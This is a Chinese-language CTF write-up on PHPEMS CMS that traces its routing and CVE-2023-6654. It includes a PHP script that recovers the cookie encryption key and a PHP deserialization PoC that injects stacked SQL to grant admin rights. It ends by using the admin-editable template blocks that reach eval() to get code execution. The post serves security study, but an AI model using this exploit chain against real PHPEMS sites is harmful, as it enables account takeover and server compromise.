西湖论剑phpems分析

对phpems的反序列化漏洞导致rce的分析

西湖论剑phpems分析

路由分析

拿到题目后,本地进行搭建测试。首先phpems是个mvc的架构,先去GitHub上看了路由访问的规则文档(https://github.com/oiuv/phpems/)

image-20240225142104358.png
看到路由访问规则后,首先先看路由加载的逻辑。有个比较方便的方法是采用Exception类的getTraceAsString来打印堆栈,从而获取函数的调用路径。

  1. D:\phpstudy_pro\WWW\phpems\app\user\controller\login.app.php:23:string '#0 D:\phpstudy_pro\WWW\phpems\app\user\controller\login.app.php(16): PHPEMS\action->index()
  2. #1 D:\phpstudy_pro\WWW\phpems\lib\init.cls.php(110): PHPEMS\action->display()
  3. #2 D:\phpstudy_pro\WWW\phpems\index.php(8): PHPEMS\ginkgo->run()
  4. #3 {main}' (length=244)

跟进函数进行分析

  1. //执行页面
  2. public function run()
  3. {
  4. self::$app = self::$defaultApp;
  5. $ev = self::make('ev');
  6. if($ev->url(0))
  7. {
  8. self::$app = $ev->url(0);
  9. }
  10. self::$module = $ev->url(1);
  11. self::$method = $ev->url(2);
  12. if(!self::$module)self::$module = 'app';
  13. if(!self::$method)self::$method = 'index';
  14. include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php';
  15. $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php';
  16. if(file_exists($modulefile))
  17. {
  18. include $modulefile;
  19. $tpl = self::make('tpl');
  20. $tpl->assign('_app',self::$app);
  21. $tpl->assign('method',self::$method);
  22. $run = new action();
  23. $run->display();
  24. }
  25. else die('error:Unknown app to load, the app is '.self::$app);
  26. }

run函数是其中根据路由进行实例化指定controller的地方。这里面有几个核心函数,make和url,make函数是用来引入lib文件夹下的类文件并实例化类的。url函数是用来获取路由中的action和controller的部分。遇到这样的MVC首先可以考虑下文件包含的问题,因为直接将module这些用户可控的变量直接带入了include中。

  1. public function __construct()
  2. {
  3. $this->strings = \PHPEMS\ginkgo::make('strings');
  4. if (ini_get('magic_quotes_gpc')) {
  5. $get = $this->stripSlashes($_REQUEST);
  6. $post = $this->stripSlashes($_POST);
  7. $this->cookie = $this->stripSlashes($_COOKIE);
  8. } else {
  9. $get = $_REQUEST;
  10. $post = $_POST;
  11. $this->cookie = $_COOKIE;
  12. }
  13. public function parseUrl()
  14. {
  15. if(isset($_REQUEST['route']))
  16. {
  17. $r = explode('-',$_REQUEST['route']);
  18. foreach($r as $key => $p)
  19. {
  20. $r[$key] = urlencode($p);
  21. }
  22. }
  23. elseif(isset($_SERVER['QUERY_STRING']))
  24. {
  25. $tmp = explode('#',$_SERVER['QUERY_STRING'],2);
  26. $tp = explode('&',$tmp[0],2);
  27. $r = explode('-',$tp[0]);
  28. foreach($r as $key => $p)
  29. {
  30. $r[$key] = urlencode($p);
  31. }
  32. }
  33. else return false;
  34. if(!$r[0] || !file_exists('app/'.$r[0].'/'))
  35. {
  36. $r[0] = \PHPEMS\ginkgo::$defaultApp;
  37. }
  38. if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto')
  39. {
  40. $r[1] = 'app';
  41. }
  42. if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php'))
  43. {
  44. $r[2] = 'index';
  45. }
  46. if($r[1] == 'app' && $this->isMobile())
  47. {
  48. $r[1] = 'phone';
  49. }
  50. if(!$r[3])$r[3] = 'index';
  51. if(substr($r[3],0,1) == '_')$r[3] = 'index';
  52. return $r;
  53. }
  54. public function url($par)
  55. {
  56. $par = intval($par);
  57. if(isset($this->url[$par]))return $this->url[$par];
  58. else return false;
  59. }

可以看到在parseUrl采用了urlencode的方式,这会导致所有的/变成%2f从而无法进行目录穿越进行文件包含。

回到前面的run方法,我们会发现,其实这个调用controller里面action的方法并没有采用反射的方法,而是采用了将所有的控制器的父类都命名为app,再将所有的controller类名命名为action。再通过controller里面的display方法调用路由中的指定方法。从这里我们也能发现,app父类主要是用来做鉴权和一些类的引入及初始化。

密钥获取

分析完整体的流程后,对该系统进行了历史cve的搜索,发现存在一个反序列化的漏洞CVE-2023-6654。自己分析的时候,首先先全局搜索了unserialize的方法,发现在对cookie还有一些字符串进行操作时有一个encode和decode方法。

  1. public function encode($info)
  2. {
  3. $info = serialize($info);
  4. $key = CS;
  5. $kl = strlen($key);
  6. $il = strlen($info);
  7. for($i = 0; $i < $il; $i++)
  8. {
  9. $p = $i%$kl;
  10. $info[$i] = chr(ord($info[$i])+ord($key[$p]));
  11. }
  12. return urlencode($info);
  13. }
  14. public function decode($info)
  15. {
  16. $key = CS;
  17. $info = urldecode($info);
  18. $kl = strlen($key);
  19. $il = strlen($info);
  20. for($i = 0; $i < $il; $i++)
  21. {
  22. $p = $i%$kl;
  23. $info[$i] = chr(ord($info[$i])-ord($key[$p]));
  24. }
  25. $info = unserialize($info);
  26. return $info;
  27. }

既然decode方法涉及到cookie的操作,会在任意路由的时候被调用。那么现在的问题就是如何获得到加密中用到key的值了,如果运气好,对方管理员没有修改默认的密钥就可以进行直接反序列化的攻击了,修改了则就需要通过一些反序列化中存在的字段推出密钥了。其实,这个加密可以看成简单的ECB对称加密,所以通过反序列化的格式以及键名就能反推出密钥了。

这里解开后的序列化数据如下所示:

  1. a:8:{s:13:"sessionuserid";s:2:"34";s:15:"sessionpassword";s:32:"e10adc3949ba59abbe56e057f20f883e";s:9:"sessionip";s:9:"127.0.0.1";s:14:"sessiongroupid";s:1:"1";s:16:"sessionlogintime";i:1708610036;s:15:"sessionusername";s:4:"test";s:16:"sessiontimelimit";i:1708610036;s:9:"sessionid";s:32:"ef05ad75e9656da99ba42372d756d477";}

截取的前32位为

  1. a:8:{s:13:"sessionuserid";s:2:"3

除了sessionid的值和注册的用户数量有关,所以密钥的第32位和倒数第4位没法准确的确定外,其它都可以还原出来了。而这两位也可以根据序列化的格式进行爆破。最终就可以还原出密钥了。

还原密钥的脚本如下:

  1. function decode1($info,$key=null)
  2. {
  3. if(!$key)
  4. $key = '1hqfx6ticwRxtfviTp940vng!yC^QK^6';
  5. // $info = urldecode(($info));
  6. $kl = strlen($key);
  7. $il = strlen($info);
  8. for($i = 0; $i < $il; $i++)
  9. {
  10. $p = $i%$kl;
  11. $info[$i] = chr(ord($info[$i])-ord($key[$p]));
  12. }
  13. // var_dump($info);
  14. $info = unserialize($info);
  15. return $info;
  16. }
  17. function get_key($cookie){
  18. // $info='10adc3949ba59abbe56e057f20f883e"';
  19. // $enc=substr($cookie,64,32);
  20. $key = 'a:8:{s:13:"sessionuserid";s:2:"2';
  21. $info=urldecode(urldecode($cookie));
  22. $use_info=substr($info,0,32);
  23. $kl = strlen($key);
  24. $il = strlen($use_info);
  25. for($i = 0; $i < $il; $i++)
  26. {
  27. $p = $i%$kl;
  28. $use_info[$i] = chr(ord($use_info[$i])-ord($key[$p]));
  29. }
  30. for($i=0;$i<128;$i++){
  31. for($j=0;$j<128;$j++){
  32. $use_info[31]=chr($i);
  33. $use_info[28]=chr($j);
  34. if(decode1($info,$use_info)){
  35. return $use_info;
  36. }
  37. }
  38. }
  39. return 'error';
  40. }

还原密钥后我们就可以进行进行任意的反序列化操作了。

在这里我也想过一个问题,既然这cookie进行了这样的加密,还存储了这么多的用户信息,会不会是类似jwt的验证方式,那么有了密钥之后,我们就能对cookie进行伪造,这样是不是就能伪装管理员身份进入后台了。但是在后续的测试中,发现这个方法并行不通。

  1. //获取会话用户
  2. public function getSessionUser()
  3. {
  4. if($this->sessionuser)return $this->sessionuser;
  5. $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));
  6. if($cookie['sessionuserid'])
  7. {
  8. $user = $this->getSessionValue();
  9. if($cookie['sessionuserid'] == $user['sessionuserid'] &amp;&amp; $cookie['sessionpassword'] == $user['sessionpassword'] &amp;&amp; $cookie['sessionip'] == $user['sessionip'])
  10. {
  11. $this->sessionuser = $user;
  12. return $user;
  13. }
  14. }
  15. return false;
  16. }
  17. public function getSessionValue($sessionid = NULL)
  18. {
  19. if(!$sessionid)
  20. {
  21. if(!$this->sessionid)$this->getSessionId();
  22. $sessionid = $this->sessionid;
  23. }
  24. if(!$this->data || !$this->data[$this->sessionid])
  25. {
  26. $data = array(false,'session',array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));
  27. $sql = $this->pdosql->makeSelect($data);
  28. $this->data[$this->sessionid] = $this->db->fetch($sql);
  29. }
  30. return $this->data[$this->sessionid];
  31. }

可以发现cookie中唯一用到的只是sessionuserid,后续用该sessionuserid带入数据库查询获得user,而sessionuserid又是一串hash字符串无法进行伪造,并且查询时也用了pdo,无法进行注入,所以这里的鉴权是无法通过伪造cookie绕过的。

反序列化链

有了反序列化的入口点,现在的问题再于寻找反序列化的链子了。全局搜索入口点__destruct,发现虽然有很多__destruct的函数,但是由于该cms未使用autoload等自动加载机制,从而导致仅有PHPEMS\session类的__destruct较为好触发。

  1. public function __destruct()
  2. {
  3. $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));
  4. $sql = $this->pdosql->makeUpdate($data);
  5. $this->db->exec($sql);
  6. if(rand(0,5) > 4)
  7. {
  8. $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3)))));
  9. $sql = $this->pdosql->makeDelete($data);
  10. $this->db->exec($sql);
  11. }
  12. }

这里面makeUpdate进行了生成update的sql语句操作,再通过pdo进行执行。跟进查看具体细节实现

  1. public function makeUpdate($args,$tablepre = NULL)
  2. {
  3. if(!is_array($args))return false;
  4. if($tablepre === NULL)$tb_pre = $this->tablepre;
  5. else $tb_pre = $tablepre;
  6. $tables = $args[0];
  7. $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]);
  8. if(is_array($tables))
  9. {
  10. $db_tables = array();
  11. foreach($tables as $p)
  12. {
  13. $db_tables[] = "{$tb_pre}{$p} AS $p";
  14. }
  15. $db_tables = implode(',',$db_tables);
  16. }
  17. else
  18. $db_tables = $tb_pre.$tables;
  19. $v = array();
  20. $pars = $args[1];
  21. if(!is_array($pars))return false;
  22. $parsql = array();
  23. foreach($pars as $key => $value)
  24. {
  25. $parsql[] = $key.' = '.':'.$key;
  26. if(is_array($value))$value = serialize($value);
  27. $v[$key] = $value;
  28. }
  29. $parsql = implode(',',$parsql);
  30. $query = $args[2];
  31. if(!is_array($query))$db_query = 1;
  32. else
  33. {
  34. $q = array();
  35. foreach($query as $p)
  36. {
  37. $q[] = $p[0].' '.$p[1].' ';
  38. if(isset($p[2]))
  39. $v[$p[2]] = $p[3];
  40. }
  41. $db_query = '1 '.implode(' ',$q);
  42. }
  43. if(isset($args[3]))
  44. $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3];
  45. else
  46. $db_groups = '';
  47. if(isset($args[4]))
  48. $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4];
  49. else
  50. $db_orders = '';
  51. if(isset($args[5]))
  52. $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5];
  53. else
  54. $db_limits = '';
  55. if($db_limits == false &amp;&amp; $db_limits !== false)$db_limits = $this->_mostlimits;
  56. $db_groups = $db_groups?' GROUP BY '.$db_groups:'';
  57. $db_orders = $db_orders?' ORDER BY '.$db_orders:'';
  58. $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;
  59. // var_dump(array('sql' => $sql, 'v' => $v));
  60. return array('sql' => $sql, 'v' => $v);
  61. }

这里可以看到在该查询中有个tablepre的变量在反序列化中是可控的。并且在pdo预编译中,是无法对于表名进行预编译的,从而导致这里存在对该cms用到的任意表的任意数据进行修改。这里我们将需要修改数据的sql语句放入tablepre变量中,并注释掉后续的语句。同时这里pdo的用法是可以进行堆叠查询的,所以可以执行任意的sql语句。

反序列化的POC如下所示:

  1. <?php
  2. namespace PHPEMS;
  3. class session
  4. {
  5. public $sessionid='1111111';
  6. public function __construct()
  7. {
  8. $this->pdosql = new pdosql;
  9. $this->db = new pepdo();
  10. }
  11. }
  12. class pdosql
  13. {
  14. private $db;
  15. public function __construct()
  16. {
  17. $this->tablepre=' x2_session set sessiongroupid=\'1\' where sessionid=\'96a0e7fc80194815f509d8ef101f2ab8\' -- ';
  18. $this->db =new pepdo();
  19. }
  20. }
  21. class pepdo{
  22. private $linkid = 0;
  23. private $log = 1; //开启日志,位置data/error.log
  24. public function __construct()
  25. {
  26. $this->linkid=0;
  27. }
  28. }
  29. function encode($info,$key=null)
  30. {
  31. $info = serialize($info);
  32. // if(!$key)
  33. // $key = '1hqfx6ticwRxtfviTp940vng!yC^QK^6';
  34. $kl = strlen($key);
  35. $il = strlen($info);
  36. for($i = 0; $i < $il; $i++)
  37. {
  38. $p = $i%$kl;
  39. $info[$i] = chr(ord($info[$i])+ord($key[$p]));
  40. }
  41. return urlencode($info);
  42. }
  43. $key= '4b394f264dfcdc724a06b9b05c1e59ed';
  44. echo urlencode(encode(array('sessionid'=>'312312312',new session()),$key));

这里将sessiongroupid设置为1,即后台管理员的sessiongroupid值,从而实现以普通用户身份进入后台。

后台RCE

进入后台后,寻找可以getshell的地方。审计过程中,发现php在上传的黑名单中,并且无法进行更改,同时上传文件会进行重命名操作,所以也无法采用.htaccess等方法进行getshell。

  1. $this->forbidden = array('rpm','exe','hta','php','phpx','asp','aspx','jsp');

后续发现了存在模板编辑的地方,考虑这里是否可以进行getshell。查看模板编译的逻辑

  1. //编译模板
  2. public function compileTpl($source)
  3. {
  4. $content = $this->readTpl($source);
  5. $this->compileSeminar($content);
  6. $this->compileBlock($content);
  7. $this->compileTree($content);
  8. $this->compileLoop($content);
  9. $this->compileEval($content);
  10. $this->compileSql($content);
  11. $this->compileIf($content);
  12. $this->compileInclude($content);
  13. $this->compileArray($content);
  14. $this->compileDate($content);
  15. $this->compileRealSubstring($content);
  16. $this->compileSubstring($content);
  17. $this->compileRealVar($content);
  18. $this->compileEnter($content);
  19. $this->compileConst($content);
  20. return $content;
  21. }

这其中有一项是compileBlock,里面调用这些方法。

  1. public function compileBlock(&amp;$content)
  2. {
  3. $limit = '/{x2;block:(\d+)}/';
  4. $content = preg_replace_callback($limit,function($matches){
  5. return "<?php echo \$this->exeBlock('{$matches[1]}'); ?>\n";
  6. },$content);
  7. }
  8. public function exeBlock($id)
  9. {
  10. \PHPEMS\ginkgo::make('api','content')->parseBlock($id);
  11. }
  12. public function parseBlock($blockid)
  13. {
  14. $block = $this->block->getBlockById($blockid);
  15. if($block['blocktype'] == 1)
  16. {
  17. echo html_entity_decode($block['blockcontent']['content']);
  18. }
  19. elseif($block['blocktype'] == 2)
  20. {
  21. if($block['blockcontent']['app'] == 'content')
  22. {
  23. $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);
  24. $blockdata = $this->_getBlockContentList($args);
  25. $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));
  26. $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']);
  27. $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid'])));
  28. eval(' ?>'.$tp.'<?php
  29. namespace PHPEMS; ');
  30. }
  31. else
  32. {
  33. $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);
  34. $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']);
  35. if(method_exists($obj,'parseBlock'))
  36. $blockdata = $obj->parseBlock($args);
  37. else
  38. return false;
  39. }
  40. return true;
  41. }
  42. elseif($block['blocktype'] == 3)
  43. {
  44. if($block['blockcontent']['sql'])
  45. {
  46. $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql']));
  47. }
  48. else
  49. {
  50. $tables = array_filter(explode(',',$block['blockcontent']['dbtable']));
  51. $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query'])))));
  52. $args = array();
  53. foreach($querys as $p)
  54. {
  55. $a = explode('|',$p);
  56. if($a[3])
  57. {
  58. if($a[3][0] == '$')
  59. {
  60. $s = stripos($a[3],'[');
  61. $k = substr($a[3],1,$s-1);
  62. $v = substr($a[3],$s,(strlen($a[3]) - $s));
  63. $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";";
  64. }
  65. else
  66. {
  67. $k = substr($a[3],2,(strlen($a[3]) - 2));
  68. $execode = "\$a[3] = \"{\$$k}\";";
  69. }
  70. eval($execode);
  71. }
  72. $args[] = $a;
  73. }
  74. $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']);
  75. $sql = $this->pdosql->makeSelect($data);
  76. }
  77. $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false);
  78. $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));
  79. eval(' ?>'.$tp.'<?php
  80. namespace PHPEMS; ');
  81. return true;
  82. }
  83. elseif($block['blocktype'] == 4)
  84. {
  85. $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));
  86. eval(' ?>'.$tp.'<?php
  87. namespace PHPEMS; ');
  88. }
  89. else
  90. return false;
  91. }

可以注意到在最后的compileBlock中采用了eval函数,并且content是从数据库中获取的,可以利用之前的反序列化SQL注入直接进行修改,也可以寻找后台是否有调用的地方可以进行修改。全局搜索blocktype

  1. private function modify()
  2. {
  3. $page = $this->ev->get('page');
  4. if($this->ev->get('modifyblock'))
  5. {
  6. $blockid = $this->ev->get('blockid');
  7. $args = $this->ev->get('args');
  8. $args['blockcontent'] = $args['blockcontent'];
  9. unset($args['blocktype']);
  10. $this->block->modifyBlock($blockid,$args);
  11. $message = array(
  12. 'statusCode' => 200,
  13. "message" => "操作成功",
  14. "target" => "",
  15. "rel" => "",
  16. "callbackType" => "forward",
  17. "forwardUrl" => "index.php?content-master-blocks&amp;page={$page}"
  18. );
  19. exit(json_encode($message));
  20. }
  21. else
  22. {
  23. $blockid = $this->ev->get('blockid');
  24. $block = $this->block->getBlockById($blockid);
  25. $block['blockcontent'] = $this->ev->stripSlashes($block['blockcontent']);
  26. $apps = $this->apps->getAppList();
  27. $blockapps = array();
  28. foreach($apps as $id => $app)
  29. {
  30. $tmp = \PHPEMS\ginkgo::make('api',$app['appid']);
  31. if($tmp &amp;&amp; method_exists($tmp,'parseBlock'))
  32. $blockapps[$id] = $app;
  33. }
  34. $this->tpl->assign('block',$block);
  35. $this->tpl->assign('blockapps',$blockapps);
  36. $this->tpl->assign('page',$page);
  37. $this->tpl->display('blocks_modify');
  38. }
  39. }
  40. private function change()
  41. {
  42. $blockid = $this->ev->get('blockid');
  43. $blocktype = $this->ev->get('blocktype');
  44. $this->block->modifyBlock($blockid,array('blocktype' => $blocktype));
  45. $message = array(
  46. 'statusCode' => 200,
  47. "message" => "操作成功",
  48. "target" => "",
  49. "rel" => "",
  50. "callbackType" => "forward",
  51. "forwardUrl" => "index.php?content-master-blocks&amp;page={$page}"
  52. );
  53. exit(json_encode($message));
  54. }

发现后台有专门对block进行编辑的函数,再确定了编辑函数后,重要的就是这个block的标签是否被使用和触发。全局搜索block匹配的正则表达式

image-20240226130721477.png
触发地点为register处的用户协议。那么后台先将模式类型更改为4,再将恶意代码写入内容即可。恶意代码需要第一行写入命名空间的原因是php命名空间必须是程序脚本的第一条语句。所以若恶意代码不包含命名空间,则会在后续拼接的namespace那报错。

  1. eval(' ?>'.$tp.'<?php namespace PHPEMS; ');

image-20240226131207331.png

image-20240226131220576.png

image-20240226131327889.png
成功rce。

参考文章

https://mp.weixin.qq.com/s?srcid=0202NUk6ZfpBOf1Z8HpGXb5m&scene=23&sharer_shareinfo=88f6a86236927cdf9be967f0d477d42e&mid=2247494654&sn=2642f75b18e505e31fb691a4a5e7454e&idx=1&sharer_shareinfo_first=88f6a86236927cdf9be967f0d477d42e&__biz=MzIzMTQ4NzE2Ng%3D%3D&chksm=e8a1c82fdfd64139c4fd6c312af62128a9bce511acd810b55c0f513b6f5bd7d75cbfbe6dd105&mpshare=1#rd

  • 发表于 2024-03-06 09:00:02
  • 阅读 ( 5319 )
  • 分类:WEB安全

0 条评论

zcy2018
zcy2018

2 篇文章